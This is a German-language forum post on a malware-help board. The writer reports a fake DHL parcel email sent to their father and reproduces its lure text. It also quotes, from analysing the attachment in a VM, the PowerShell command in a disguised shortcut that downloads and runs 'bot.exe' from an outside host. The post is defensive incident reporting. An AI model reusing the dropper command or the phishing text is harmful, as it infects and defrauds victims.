Trojaner-Board - Gefälschte DHL-Email und (schädliche?) Infektion

Hallo,

Ich melde mich hier vorsorglich.
Heute hat mein Vater eine Paketbestätigung erhalten, dass ein Paket abholbereit sein soll. Unachtsam wie mein Vater ist, hat er die Mail versucht zu öffnen. Da ihm das nicht gelungen ist, hat er sie an mich weitergeleitet.

Die Mail sieht wie folgt aus:

Betreff: "New paket!"

Text:
(DHL BANNER)

Code:

         
 

Guten Tag xxxx@xxxx.de,
 

Ihr Paket ID##### ist empfangsbereit.
 

Diese e-mail ist eine Mitteilung für die Ankunft.

Lieferung durch den Absender gezahlt.

Die Hohe der Versicherungspaket € ####.
 

Um das Sendung zu bekommen , bitte drucken Sie das angehangte Dokument und prasentieren sie in einem Lagerhaus.
 

 
 

Paket.de – Ihr Weg zum individuellen Paketempfang und -versand

DHL Paket GmbH

Sträßchensweg 10

53113 Bonn
 

Registergericht Bonn

HRB 19565

USt-IdNr.: DE 813312787
 

        Geschäftsführung:

Dr. Andrej Busch

Katja Herbst

Norman Chmiel

Heinrich Eilers

Dr. Thomas Ogilvie

Vorsitzender des Aufsichtsrates: Uwe Brinks         Website

Kontakt

Impressum

Datenschutz
 
 

© 2015 DHL

(BANNER)

Die Datei habe Ich mal heruntergeladen und in einer VM geöffnet. Es ist eine zip-Datei, in der eine Verknüpfung zu einem .doc ist.
Die Verknüpfung ist manipuliert. Sie öffnet folgenden Befehl:

Code:

(new-object System.Net.WebClient).DownloadFile('hxxp://supportsoft777.pw/bot.exe','%TEMP%\t.exe');Start-Process "%TEMP%\t.exe

Achtung: Die "xx" habe Ich eingesetzt, damit es nicht zu unabsichtlichen Öffnungen kommt.
Leider brachte mir das Nachforschen nichts, außer einem virustotal report (https://www.virustotal.com/de/user/mastertaco/).
Virustotal von der Datei, die da nachgeladen werden soll:
https://www.virustotal.com/de/file/43c91995ee9cb6319a66a21f2e6ff8b28d48bca5872ad2df97d84a653ad5e9a0/analysis/1444860978/

Ist jemandem etwas bekannt zu diesem Vorfall? Die Datei wird ja von kaum einem aktuellen Virenscanner erkannt. An den PC von meinem Vater kann Ich erst morgen ran, um ausführliche Logs zu erstellen.

Gruß